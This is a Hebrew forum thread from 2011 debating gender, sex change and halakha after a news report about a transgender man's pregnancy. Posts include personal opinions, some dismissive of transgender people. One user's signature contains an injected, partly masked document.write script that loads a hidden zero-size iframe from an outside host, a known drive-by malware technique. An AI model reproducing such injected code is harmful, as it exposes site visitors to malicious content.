|
|
| נשלח ב-20/9/2011 22:28 |
 |
| |
תגובה מספר 11 בעמוד הקודם טעות אני לא כתבתי זאת,
תוקן על ידי maxmen ב- 20/09/2011 22:27:55
|
|
|
|
| נשלח ב-20/9/2011 22:34 |
|
| |
מקס
זה מהותו של האשכול הזה.
בלי אבא ואמא. אשכול נולד מכוחות עליונים
לשם שינוי האשה הפכה כאן לגבר.
|
|
|
|
| נשלח ב-20/9/2011 22:42 |
|
| |
אמשלום כתבה:
אני מודה שזה מבלבל אותי מאוד, ומאתגר באופן קיצוני את המושגים המגדריים הקיימים ברשותי, הן ברמה הפילוסופית והן ברמה הפרקטית של חיי היומיום - מה זה "גבר" ומה זו "אישה"? איך ליישב את המציאות המוזרה הזו עם מיני הנחות יסוד ברורות (כביכול) מאליהן, כמו "מהותן של נשים הוא להיכנס להריון וללדת", או "כבוד בת-מלך פנימה (ברחם)", וכמובן גם סוגים שונים של "גברים הם X ונשים הם Y" וכו'. לכן אני יכולה להזדהות עם תגובות הומוריסטיות, לגלגניות ועוד, אבל רק כשלב ראשון של התמודדות. לענ"ד, ברגע שניתן לבלבול ולאתגרים האינטלקטואליים, הסוציולוגיים והמוסריים האלה לעצום לנו את העיניים המביטות במציאות, בגלל ש"זה לא מתאים לתיאוריה", זו תחילת הדרך לבורות, לאטימות, לתקיעוּת המחשבתית ולהפסקת ההתפתחות שלנו כבני אדם (יחידים, או כחברה אנושית).
ואני מצטרף למחמאות.
ומבקש לבאר מדוע אמירות אלו הן כה חשובות.
אנו רגילים להשתמש במילים ונדמה לנו שהן קבועות ואין בלתן. במבוא ללוגיקה נוהגים להביא את הדיכוטומיה (חלוקה לשתי אפשרויות המוציאות זו את זו): רווק או נשוי. רווק נשוי זו סתירה. אך מה עם גבר/אשה?
העולם שהכרנו עד לאחרונה הכיל גברים ונשים, זכרים ונקבות. בשיעורי הביולוגיה, למי שהגיע אליהם (לא נמסרים בציבור החרדי, צריך לחפש מקורות אחרים ובזהירות) מבדילים בין בעלי חיים שנמצאים גבוה במידרג, ויש להם רביה דו מינית, ולכן זכר ונקבה, לבין בעלי חיים שאין להם את זה.
אז יש יוצאי דופן. גם במשנה ובתלמוד נזכר האנדרוגינוס, שיש לו מבנה אברים כפול. ד"ר אברהם אברהם, ב"נשמת אברהם" שלו, שולחן ערוך לעניני רפואה, מעיר בפשטות כי התופעה מוכרת למדע, וכי בדרך כלל מדובר במבנה פנימי של אשה ובמבנה חיצוני של גבר, וכי הרופאים נוהגים בדרך כלל לסלק את התוספים הגבריים ולהשאיר אשה, כאשר טיפול בהורמונים (נדמה לי) "מיישר" את המצב. כך זכור לי מדבריו ולא בדקתי כעת.
גם כאן היה ראוי לשאול: מי מחליט? מכוח מה? ואלו שאלות לא קלות אפילו בעולם ההלכה שלכאורה מציע לנו תשובות חד משמעיות, ברורות ואינטואיטיביות.
אבל מה עם ההיבט הפסיכולוגי? האם יש "פסיכולוגיה גברית" מול פסיכולוגיה "נשית"?
אפלטון סבר שכן. לא שזה הופך את טענתו לסמכותית יותר (למרות היותו אחד משני הפילוסופים הגדולים בהיסטוריה). אני רק מזכיר את המשל המפורסם שלו עם המיתוס על הבריאה של צמדים שמתחלקים לשנים ומחפשים מאז את בן זוגם.
גם בגמרא אפשר למצוא אמירות מהסוג שממנו משתמע שיש ציפיה למציאת הזוג האידיאלי גבר-אשה. ולהבדיל, גם בהוליווד.
הסיכום הקצר דלעיל נועד להראות כיצד הגישה הדיכוטומית לכאורה משוקעת אצלנו עמוק.
והנה, הפתעה.
יש בני אדם שצורתם החיצונית והפנימית אינה לרוחם. כך לפחות הם מעידים על עצמם.
הנידון זה דומה לנידון שעלה באשכול אחר על החד מיניות. האם אדם יכול להיות בן מין מסויים ולהשתוקק לאותו מין והאם זה יהיה לגיטימי (לדעתי: לא, אבל קריאה של בלוג אחד או שנים הצליחה לשכנע אותי שיש הרבה כאב וכנות אצל הסובלים שמתאמצים להיות שומרי מצוות). אז האם אדם יכול להיוולד בתוך מין אחד ולחוש ש"היתה כאן טעות באיזה מקום"?
ואם כן, האם מותר לו לשנות?
הסיפור הנוכחי מתקדם כמה פרקים קדימה. מעשה באשה שהפכה לאיש לאחר ניתוח מין חיצוני ועם השלמה, כנראה, של הורמונים. אלא שבשלב כלשהו אותו אדם, שיש לו איברים חיצוניים של זכר, הצליחה ("הצליח"?) להרות.
הסיפור של YNET על הגבר-אשה הישראלי נראה קטוע מדי. לעומת זה אני מפנה לסיפור שמופיע בסוף, על אשה שהפכה לגבר, חיה חיים מסופקים (לפי הכתבה) עם אשה שהסכימה להתחתן איתו, אבל לאחר שהתברר שדווקא בת הזוג לא תהיה מסוגלת להרות, הסכימו השנים שהבעל יחזור זמנית למיניותו הקודמת, יתעבר ויוליד. וכך היה.
זה מעורר סדרה של שאלות הלכתיות שהיות שהארכתי איני מתחיל אפילו למנותן. חזקה על חברינו שיזכירו אותן בצורה מסודרת.
אני רק מצביע על שלוש רמות של דיון:
א. מה תהיה חוות הדעת ההלכתית? (רמז: זה מטא הלכה הרבה יותר מאשר הלכה! במובן שלי של השימוש במילים אלו: לא רק מה שההלכה דנה ספציפית, אם יש לה מה לומר על מעשה הניתוח או העיבור, אלא על ההשלכות).
ב. מה היא ההתייחסות שלנו לתופעה מבחינה לשונית? כיון שהלשון שלנו אינה מותאמת לשינויים כאלו, אנו ניצבים, כמו אמשלום (סבורני. אני לפחות ודאי כך) פעורי פה והלומים מול תופעות שמאתגרות עד הקצה ומעבר לו את האינטואיציות שלנו.
ג. מהי המציאות שבה אנו דנים. המציאות נראית מסובכת בהרבה ממה שהאמנתי עד היום. ואיני היחיד כמסתבר.
והשאלה חוזרת: מהו גבר? מהי אשה?
יש לנו כמה מועמדים.
1. אברי המיגדר.
2. אברי המיגדר הפנימיים.
3. הנתון שאיתו נולדים.
4. הפסיכולוגיה (הרי יש בנות שנוהגות כבנים, מה שנקרא TOMBOY אם איני טועה, אם כי אני משער שהן גדלות "רגילות". ויש בנים "נשיים" שעדיין יכולים להתפתח כגברים "רגילים" לכל דבר).
5. הרצון והבחירה?
הכרת המציאות נראית תנאי הכרחי לפני כל שיפוט וגם שיפוט הלכתי. המציאות משתנה לנגד עינינו. אני חוזר על הטענה שהעליתי גם באשכול על אם פונדקאית. לאמור: התופעות האלו חדשות מדי. יתכן שעלינו לחשוב שוב עליהן בעוד כמה שנים לפחות.
הושלמה הרמה השלישית ששכחתי לפרט. שגיאות מי יבין._ ________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 20/09/2011 22:44:12
 |
|
|
|
|
| נשלח ב-20/9/2011 22:50 |
|
| |
וכבר נדפס בנידונים אלו ספר שלם כמדומה בשם "דור תהפוכות" או משהו כזה. לא קראתיו]
|
|
|
|
| נשלח ב-20/9/2011 23:04 |
|
| |
הרב מימוני גמרא מפורשת
בבא בתרא דף טז :
דתניא:] אי אפשר לעולם בלא זכרים ובלא נקבות, אלא אשרי למי שבניו זכרים, אוי לו למי שבניו נקבות;
|
|
|
|
| נשלח ב-20/9/2011 23:29 |
|
| |
ירוחמ
אני משער שכוונתך לבדיחה.
המילה "בנים" בהקשר זה מתייחסת לצאצאים בכלל. ולא למיגדר שלהם ולא למה שמגדיר את המיגדר.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-20/9/2011 23:33 |
|
| |
המדהים פה בסיפור שבהתחלה הוא/היא נמשך/ה לנשים ואחרי הניתוח החל/ה להמשך לגברים. ועוד קורא/ת לעצמו הומו.
אז למה אי אפשר להקיש ביטול ולהתחיל מהתחלה נורמלי אשה שנמשכת לגבר.
אגב זוהי הוכחה שניתן לשנות משיכה מינית שהרי הלסבית הפכה להומו.
|
|
|
|
| נשלח ב-21/9/2011 07:20 |
|
| |
[מקסמן,
כתבת - "(ויש כמובן סוג חבורת האדם שאין להם לא יכולת של אישה ולא יכולת של גבר,(= עקרים ועקרות או מטבעם או מתוך בחירתם החופשית) הוא\היא לא מתרבה ונגמר להם ההישרדות באובולוציה, במילא נשאר רק לשאול האם הם נכללים בחבורת האדם, הרי חבורת האדם = הישרדות בטבע כחבורה, אחרת אין משמעות להתייחס אליהם כחבורה רק כחבורה זמנית ולא ישרדותית, ורק לכך כאמור יש את ההבדל המבדיל בין אישה לגבר, כלומר עצם יכולת ההישרדותית היא היא העושה אותם מובדלים בחבורת האדם כאדם ששורד בטבע)"
האם רואות עיניך את שאצבעותיך מקלידות? האם מי שהם עקרים, או שבוחרים לא להוליד, אינם בכלל "אדם"? האם היכולות האנושיות, הכישורים האנושיים, המהות המגדירה מישהו כ"אדם" היא אך ורק האפשרות להוליד? אין ב"אדם" עוד משהו מלבד זה? הרי גם בע"ח מולידים, האם גם הם "אדם"? מה הקשר בין השרדות ובין היות "אדם"? האם בע"ח אינם שורדים?
מטפחת,
הבעיה (אם יש כזו, וזו שאלה של השקפה) אינה בלשון העברית אלא בשימוש שאנו בוחרים לעשות בה. שימוש זה משתנה, או אמור להשתנות, גם בעקבות המציאות שאינה קופאת על שמריה. אכן, ניתן להשתמש במונחים "אישה" ו"גבר" כמקבילים ל"אדם בעל אברי רבייה נקביים/זכריים", אבל דומני ששימוש כזה אינו מדוייק. נדמה לי שבימינו ברור שלמושגים אלה יש משמעויות שאינן רק ביולוגיות ופיזיות אלא גם חברתיות. זה בדיוק ההבדל בין "מין" ו"מגדר" - "מין" הוא הגדרה ביולוגית (שגם היא, כפי שרואים למשל בכתבה שפתחה אשכול זה, כבר אינה חד-משמעית, בלתי-הפיכה וברורה לחלוטין, כפי שהיתה פעם), ואילו "מגדר" הוא הגדרה חברתית, סוציולוגית (שיש לה השלכות בתחומים רחבים של החיים). "נקבה" ו"זכר" הן הגדרות של מין, ואילו "אישה" ו"גבר" הן הגדרות מגדריות. אני חושבת שתשומת לב להבדל בין סוגי ההגדרות חשוב להבנת העולם באופן נכון יותר - לא כל "נקבה" היא "אישה" (למשל תינוקת)...
צבי,
אני מניחה שהתלוצצת בדבריך על האפשרות לשנות משיכה מינית, ובכ"ז -
ברור שיש מקרים בהם יכולה משיכה להשתנות. איני חושבת שיש החולקים על כך (אם כי יש כאלה שחושבים שניתן לשנות זאת רק בכיוון אחד, כלומר מהיות הומו להיות סטרייט, וד"ל ואכמ"ל). בעיניי מעניין בנקודה שציינת, לא שינוי המשיכה עצמו, אלא דווקא החיסרון הלשוני (שמובן לגמרי כי הוא נגרם גם ובעיקר מ"חיסרון" תפישתי כלשהו), שלא מאפשר לאדם להגדיר את עצמו באופן מדוייק, ולכן במובן מה, הוא מחייב "משחק" בין ההגדרות הקיימות, שמסתבר שאינן מכסות את כל האופציות ובהכרח לא תמיד נכונות.]
תוקן על ידי אמשלום ב- 21/09/2011 07:21:25
|
|
|
|
|
| נשלח ב-21/9/2011 11:06 |
|
| |
הרב מימוני
ודאי שלא ברצינות הבאתי את הגמרא הזו.
אבל כיון שהבאתי וכיון שענית. אולי תוכל להסביר אותה.
מדוע הגמרא נוקטת לשון משונה זו בניו נקבות? אם הכונה שלה היא על צאצאיים כדבריך? האם לא יכלה לכתוב בצורה אחרת פשוטה- ילדיו- בניו ובנותיו. צאצאיו?
לדעתי יש בגמרא הזו משמעות אחרת מסתם צאצאיו!
|
|
|
|
| נשלח ב-21/9/2011 15:20 |
|
| |
| אמשלום כתב: |  | [מקסמן,
כתבת - "(ויש כמובן סוג חבורת האדם שאין להם לא יכולת של אישה ולא יכולת של גבר,(= עקרים ועקרות או מטבעם או מתוך בחירתם החופשית) הוא\היא לא מתרבה ונגמר להם ההישרדות באובולוציה, במילא נשאר רק לשאול האם הם נכללים בחבורת האדם, הרי חבורת האדם = הישרדות בטבע כחבורה, אחרת אין משמעות להתייחס אליהם כחבורה רק כחבורה זמנית ולא ישרדותית, ורק לכך כאמור יש את ההבדל המבדיל בין אישה לגבר, כלומר עצם יכולת ההישרדותית היא היא העושה אותם מובדלים בחבורת האדם כאדם ששורד בטבע)"
האם רואות עיניך את שאצבעותיך מקלידות? האם מי שהם עקרים, או שבוחרים לא להוליד, אינם בכלל "אדם"? האם היכולות האנושיות, הכישורים האנושיים, המהות המגדירה מישהו כ"אדם" היא אך ורק האפשרות להוליד? אין ב"אדם" עוד משהו מלבד זה? הרי גם בע"ח מולידים, האם גם הם "אדם"? מה הקשר בין השרדות ובין היות "אדם"? האם בע"ח אינם שורדים?
|
|
אמשלום, זה מה שכתבתי אולי שרואים את הכל מובן יותר מה כוונתי, ומהסוגרים היא רק דעתי האישי כמובן שאני לא הייתי עושה מהם שני חבורות רק כל העקרים ועקרות הם חבורה אחת,
אני מראה לך שגם מרגע הלידה אנו מבדילים אותם וגם את מבדילה אך ורק בעניין זה,
לומר שזה העניין ורק זה המבדיל בין האדם כחבורת אדם ואין הבדל אחר ביניהם,
שאנו באים להתייחס לחבורת אדם אז נכלל בהם כל המין האדם נשים וגברים יחד,
שאנו באים להגדיר חבורות שונות בחית האדם, אנו עושים חלוקה בין יכלות הנשי ולבין יכולת הגברי,
(ויש כמובן סוג חבורת האדם שאין להם לא יכולת של אישה ולא יכולת של גבר,(= עקרים ועקרות או מטבעם או מתוך בחירתם החופשית) הוא\היא לא מתרבה ונגמר להם ההישרדות באובולוציה, במילא נשאר רק לשאול האם הם נכללים בחבורת האדם, הרי חבורת האדם = הישרדות בטבע כחבורה, אחרת אין משמעות להתייחס אליהם כחבורה רק כחבורה זמנית ולא ישרדותית, ורק לכך כאמור יש את ההבדל המבדיל בין אישה לגבר, כלומר עצם יכולת ההישרדותית היא היא העושה אותם מובדלים בחבורת האדם כאדם ששורד בטבע)
|
|
|
|
| נשלח ב-21/9/2011 15:27 |
|
| |
סליחה שאני מתערב
אבל יש לפנינו במקרה הספציפי הזה, בן אדם שנולד כמין אשה, בצעירותו המוקדמת שינה חלק מהאברים שמראים על היותו, לכאורה, אישה, ומאז הוא נמשך לגברים (!) ואח"כ גם רצה להביא ילד לעולם.
רק אני רואה כאן אישה נורמלית שקצת התבלבלה איפשהו בגיל הנעורים וזה עבר לה/ו?
|
|
|
|
| נשלח ב-21/9/2011 16:52 |
|
| |
רוצה, הוא אשר הגבתי מהתחלה וכמוני עוד אחרים, ולכן פלא על אמא שלא הבינה או לא רוצה להבין את הפשטות הזאת.
ברור, שיש אנשים באמת עם בעיה, אבל פה האמת הפשוטה זועקת, אבל העולם הפוסט מודרני יחייב את עצמו לשאול שאלות ולתת הגדרות חדשות
|
|
|
|
| נשלח ב-21/9/2011 17:12 |
|
| |
[מקסמן,
מצטערת - זה ברור לי בדיוק באותה המידה שהיה ברור קודם. עולה מדבריך שעקרים אינם בכלל "אדם", אלא שייכים ל"מין" אחר.
צבי ורוצה,
ייתכן שאתם צודקים לגבי מקרה זה (וייתכן שלא), אבל מה בכך? יש סיפורים רבים מאוד על אנשים שהחליפו מינם, מסיבות שונות (שאף אחת מהן אינה ברורה או מובנת לי עד הסוף). האם את כולם ניתן לפטור כ"התבלבלות"? הניסיון הזה הוא כמעט משעשע, אילולא היו לו השלכות בעייתיות ביותר מבחינה מוסרית (ופוליטית), ועיינו בדוגמת ההומואים והלסביות, שיש רבים המתייחסים אליהם כאילו "בלבול" בלבד מנחה אותם, ובכך מתעלמים מן המציאות ומאפשרים לעצמם עוד שתי דקות של שקט מדומה (סיפר לי חבר שאחיו הצעיר הגיע אליו בגיל 16 ואמר לו שהוא הומו; החבר שלי חשב שהוא מבין לליבו ונוהג עימו ברגישות, כאשר אמר לו - "איך אתה יודע? האם ניסית להתאהב בבחורה? עד שלא תבדוק לא תדע באמת"; האח צחק ואמר לו משהו בסגנון - "האם אתה ניסית פעם להתאהב בגבר? ואם לא כיצד אתה יודע שאינך הומו?").
העולם החושב והמתפתח תמיד (כי מי שאינו לומד ואינו מתפתח נשאר תקוע על מקומו ולמעשה נסוג אחורנית כל הזמן, ועיינו בעליסה), חייב לשאול שאלות ולהגדיר הגדרות. אילו לא היה עושה כך, עדיין היינו יודעים כולנו שהארץ שטוחה, שלשחורים פשוט מתאים מבחינה נפשית ופיזית להיות עבדים, שמוחן של נשים אינו מסוגל להתמודד עם אותיות כתובות וכו'.]
|
|
|
|
|
|
| נשלח ב-21/9/2011 17:18 |
|
| |
אין ביננו מחלוקת אמא.
אני הדגשתי ביחס למקרה זה.
נוסף, היה לי הערה לעולם הפוסט מודרני שמקבל כמובן מאליו שהפשטות הוא לא נכון.
|
|
|
|
| נשלח ב-21/9/2011 17:49 |
|
| |
| אמשלום כתב: | | [מקסמן,
מצטערת - זה ברור לי בדיוק באותה המידה שהיה ברור קודם. עולה מדבריך שעקרים אינם בכלל "אדם", אלא שייכים ל"מין" אחר. |
|
עקרים הם אדם מה השאלה שלך בכלל ?? אני אומר רק שהחלוקה של חבורת נשים וחבורת גברים היא בלתי אפשרית אצל עקרים\ות, הם חבורה אחת, הרי מה מבדיל בין גבר עקר לבן אישה עקרה ? אין הבדל ! ולכן הם חבורה אחת,
מה שאין כן לגבי נשים וגברם פוריים יש הבדל ביניהם להפריד אותם כחבורות נפרדות,
|
|
|
|
|
